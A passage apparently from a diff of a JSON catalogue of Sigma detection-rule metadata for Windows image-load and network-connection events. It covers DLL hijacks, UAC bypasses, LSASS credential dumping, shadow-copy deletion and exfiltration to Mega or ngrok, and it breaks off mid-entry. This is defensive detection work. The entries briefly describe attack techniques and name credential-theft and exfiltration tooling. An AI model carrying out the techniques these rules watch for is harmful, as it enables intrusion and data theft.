- "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "image_load_susp_office_dsparse_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_dsparse_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "a2a3b925-7bb0-433b-b508-db9003263cc4", - "value": "Active Directory Parsing DLL Loaded Via Office Applications" - }, - { - "description": "Detects Kerberos DLL being loaded by an Office Product", - "meta": { - "author": "Antonlovesdnb", - "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "image_load_susp_office_kerberos_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_office_kerberos_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "7417e29e-c2e7-4cf6-a2e8-767228c64837", - "value": "Active Directory Kerberos DLL Loaded Via Office Applications" - }, - { - "description": "Detects the image load of Python Core indicative of a Python script bundled with Py2Exe.", - "meta": { - "author": "Patrick St. John, OTR (Open Threat Research)", - "creation_date": "2020/05/03", - "falsepositive": [ - "Legitimate Py2Exe Binaries", - "Known false positive caused with Python Anaconda" - ], - "filename": "image_load_susp_python_image_load.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.py2exe.org/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml", - "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.002" - ] - }, - "uuid": "cbb56d62-4060-40f7-9466-d8aaf3123f83", - "value": "Python Py2Exe Image Load" - }, - { - "description": "Detects CLR DLL being loaded by an scripting applications", - "meta": { - "author": "omkar72, oscd.community", - "creation_date": "2020/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_script_dotnet_clr_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/tyranid/DotNetToJScript", - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://thewover.github.io/Introducing-Donut/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea", - "value": "CLR DLL Loaded Via Scripting Applications" - }, - { - "description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_system_drawing_load.yml", - "level": "low", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", - "https://threathunterplaybook.com/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_system_drawing_load.yml" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ] - }, - "uuid": "666ecfc7-229d-42b8-821e-1a8f8cb7057c", - "value": "Suspicious System.Drawing Load" - }, - { - "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/01/07", - "falsepositive": [ - "Very likely, needs more tuning" - ], - "filename": "image_load_susp_uncommon_image_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7", - "value": "Possible Process Hollowing Image Loading" - }, - { - "description": "Detects the image load of VSS DLL by uncommon executables", - "meta": { - "author": "frack113", - "creation_date": "2022/10/31", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_vss_dll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/ORCx41/DeleteShadowCopies", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_dll_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "37774c23-25a1-4adb-bb6d-8bb9fd59c0f8", - "value": "Image Load of VSS Dll by Uncommon Executable" - }, - { - "description": "Detects the image load of vss_ps.dll by uncommon executables", - "meta": { - "author": "Markus Neis, @markus_neis", - "creation_date": "2021/07/07", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_susp_vss_ps_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/am0nsec/status/1412232114980982787", - "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70", - "value": "Image Load of VSS_PS.dll by Uncommon Executable" - }, - { - "description": "Detects DLL's Loaded Via Word Containing VBA Macros", - "meta": { - "author": "Antonlovesdnb", - "creation_date": "2020/02/19", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "filename": "image_load_susp_winword_vbadll_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_winword_vbadll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ] - }, - "uuid": "e6ce8457-68b1-485b-9bdd-3c2b5d679aa9", - "value": "VBA DLL Loaded Via Microsoft Word" - }, - { - "description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n", - "meta": { - "author": "SBousseaden", - "creation_date": "2019/10/28", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_svchost_dll_search_order_hijack.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml", - "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1574.001" - ] - }, - "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77", - "value": "Svchost DLL Search Order Hijack" - }, - { - "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/07", - "falsepositive": [ - "Other DLLs with that import hash" - ], - "filename": "image_load_sysmon_disable_sharpevtmute.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml", - "https://github.com/bats3c/EvtMute" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.002" - ] - }, - "uuid": "49329257-089d-46e6-af37-4afce4290685", - "value": "SharpEvtMute EvtMuteHook Load" - }, - { - "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", - "meta": { - "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate usage by software developers/testers" - ], - "filename": "image_load_tttracer_mod_load.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", - "https://twitter.com/mattifestation/status/1196390321783025666", - "https://twitter.com/oulusoyum/status/1191329746069655553" - ], - "tags": [ - "attack.defense_evasion", - "attack.credential_access", - "attack.t1218", - "attack.t1003.001" - ] - }, - "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf", - "value": "Time Travel Debugging Utility Usage" - }, - { - "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/17", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_uac_bypass_iscsicpl.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/wdormann/status/1547583317410607110", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml", - "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "9ed5959a-c43c-4c59-84e3-d28628429456", - "value": "UAC Bypass Using Iscsicpl - ImageLoad" - }, - { - "description": "Attempts to load dismcore.dll after dropping it", - "meta": { - "author": "oscd.community, Dmitry Uchakin", - "creation_date": "2020/10/06", - "falsepositive": [ - "Actions of a legitimate telnet client" - ], - "filename": "image_load_uac_bypass_via_dism.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml", - "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002", - "attack.t1574.002" - ] - }, - "uuid": "a5ea83a7-05a5-44c1-be2e-addccbbd8c03", - "value": "UAC Bypass With Fake DLL" - }, - { - "description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/20", - "falsepositive": [ - "Other legitimate processes loading those DLLs in your environment." - ], - "filename": "image_load_uipromptforcreds_dlls.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", - "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" - ], - "tags": [ - "attack.credential_access", - "attack.collection", - "attack.t1056.002" - ] - }, - "uuid": "9ae01559-cf7e-4f8e-8e14-4c290a1b4784", - "value": "UIPromptForCredentials DLLs" - }, - { - "description": "Loading unsigned image (DLL, EXE) into LSASS process", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Valid user connecting using RDP" - ], - "filename": "image_load_unsigned_image_loaded_into_lsass.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_unsigned_image_loaded_into_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2", - "value": "Unsigned Image Loaded Into LSASS Process" - }, - { - "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/09/07", - "falsepositive": [ - "Rarely observed" - ], - "filename": "image_load_usp_svchost_clfsw32.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", - "value": "APT PRIVATELOG Image Load Pattern" - }, - { - "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "image_load_vmware_xfer_load_dll_from_nondefault_path.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b", - "value": "VMware Xfer Loading DLL from Nondefault Path" - }, - { - "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/17", - "falsepositive": [ - "The command wmic os get lastboottuptime loads vbscript.dll", - "The command wmic os get locale loads vbscript.dll", - "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights" - ], - "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", - "https://twitter.com/dez_/status/986614411711442944", - "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1220" - ] - }, - "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32", - "value": "WMIC Loading Scripting Libraries" - }, - { - "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa", - "value": "Wmiprvse Wbemcomn DLL Hijack" - }, - { - "description": "Detects non wmiprvse loading WMI modules", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_wmi_module_load.yml", - "level": "informational", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml", - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e", - "value": "WMI Modules Loaded" - }, - { - "description": "Detects WMI command line event consumers", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2018/03/07", - "falsepositive": [ - "Unknown (data set is too small; further testing needed)" - ], - "filename": "image_load_wmi_persistence_commandline_event_consumer.yml", - "level": "high", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml" - ], - "tags": [ - "attack.t1546.003", - "attack.persistence" - ] - }, - "uuid": "05936ce2-ee05-4dae-9d03-9a391cf2d2c6", - "value": "WMI Persistence - Command Line Event Consumer" - }, - { - "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/24", - "falsepositive": [ - "Unknown" - ], - "filename": "image_load_wsman_provider_image_load.yml", - "level": "medium", - "logsource.category": "image_load", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml", - "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", - "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", - "https://github.com/bohops/WSMan-WinRM", - "https://twitter.com/chadtilbury/status/1275851297770610688" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.003" - ] - }, - "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94", - "value": "Suspicious WSMAN Provider Image Loads" - }, - { - "description": "Detects an executable in the Windows folder accessing github.com", - "meta": { - "author": "Michael Haag (idea), Florian Roth (rule)", - "creation_date": "2017/08/24", - "falsepositive": [ - "Unknown", - "@subTee in your network" - ], - "filename": "net_connection_win_binary_github_com.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/M_haggis/status/900741347035889665", - "https://twitter.com/M_haggis/status/1032799638213066752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1105", - "attack.exfiltration", - "attack.t1567.001" - ] - }, - "uuid": "635dbb88-67b3-4b41-9ea5-a3af2dd88153", - "value": "Microsoft Binary Github Communication" - }, - { - "description": "Detects an executable in the Windows folder accessing suspicious domains", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_binary_susp_com.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/M_haggis/status/900741347035889665", - "https://twitter.com/M_haggis/status/1032799638213066752", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1105" - ] - }, - "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97", - "value": "Microsoft Binary Suspicious Communication Endpoint" - }, - { - "description": "Detects a network connection intitiated by the certutil.exe tool. Attackers can abuse `certutil.exe` to download malware or offensive security tools.", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2022/09/02", - "falsepositive": [ - "Legitimate certutil network connection" - ], - "filename": "net_connection_win_certutil.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "0dba975d-a193-4ed1-a067-424df57570d1", - "value": "Certutil Initiated Connection" - }, - { - "description": "Detects process connections to a Monero crypto mining pool", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/26", - "falsepositive": [ - "Legitimate use of crypto miners" - ], - "filename": "net_connection_win_crypto_mining.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml", - "https://www.poolwatch.io/coin/monero" - ], - "tags": [ - "attack.impact", - "attack.t1496" - ] - }, - "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329", - "value": "Windows Crypto Mining Pool Connections" - }, - { - "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", - "meta": { - "author": "Sorina Ionescu", - "creation_date": "2022/08/17", - "falsepositive": [ - "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender." - ], - "filename": "net_connection_win_dead_drop_resolvers.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://content.fireeye.com/apt-41/rpt-apt41", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1102", - "attack.t1102.001" - ] - }, - "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7", - "value": "Dead Drop Resolvers" - }, - { - "description": "Detects Dllhost that communicates with public IP addresses", - "meta": { - "author": "bartblaze", - "creation_date": "2020/07/13", - "falsepositive": [ - "Communication to other corporate systems that use IP addresses from public address spaces" - ], - "filename": "net_connection_win_dllhost_net_connections.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml", - "https://redcanary.com/blog/child-processes/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution", - "attack.t1559.001" - ] - }, - "uuid": "cfed2f44-16df-4bf3-833a-79405198b277", - "value": "Dllhost Internet Connection" - }, - { - "description": "Detects network connections from Equation Editor", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/04/14", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_eqnedt.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/forensicitguy/status/1513538712986079238", - "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203" - ] - }, - "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", - "value": "Equation Editor Network Connection" - }, - { - "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n", - "meta": { - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton", - "creation_date": "2021/11/10", - "falsepositive": [ - "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", - "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", - "It is highly recommended to baseline your activity and tune out common business use cases." - ], - "filename": "net_connection_win_excel_outbound_network_connection.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml", - "https://corelight.com/blog/detecting-cve-2021-42292" - ], - "tags": [ - "attack.execution", - "attack.t1203" - ] - }, - "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84", - "value": "Excel Network Connections" - }, - { - "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/05", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_hh.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml", - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", - "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001" - ] - }, - "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a", - "value": "HH.EXE Network Connections" - }, - { - "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", - "meta": { - "author": "frack113", - "creation_date": "2022/01/22", - "falsepositive": [ - "Legitimate script" - ], - "filename": "net_connection_win_imewdbld.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228", - "value": "Download a File with IMEWDBLD.exe" - }, - { - "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/19", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_win_malware_backconnect_ports.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml", - "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo" - ], - "tags": [ - "attack.command_and_control", - "attack.t1571" - ] - }, - "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382", - "value": "Suspicious Typical Malware Back Connect Ports" - }, - { - "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/06", - "falsepositive": [ - "Legitimate use of mega.nz uploaders and tools" - ], - "filename": "net_connection_win_mega_nz.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml", - "https://www.mandiant.com/resources/russian-targeting-gov-business", - "https://megatools.megous.com/" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.001" - ] - }, - "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", - "value": "Communication To Mega.nz" - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/16", - "falsepositive": [ - "Legitimate msiexec over networks" - ], - "filename": "net_connection_win_msiexec.yml", - "level": "medium", - "logsource.category": "network_connection", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ] - }, - "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f", - "value": "Msiexec Initiated Connection" - }, - { - "description": "Detects an executable accessing ngrok.io, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/16", - "falsepositive": [ - "Legitimate use of ngrok.io" - ], - "filename": 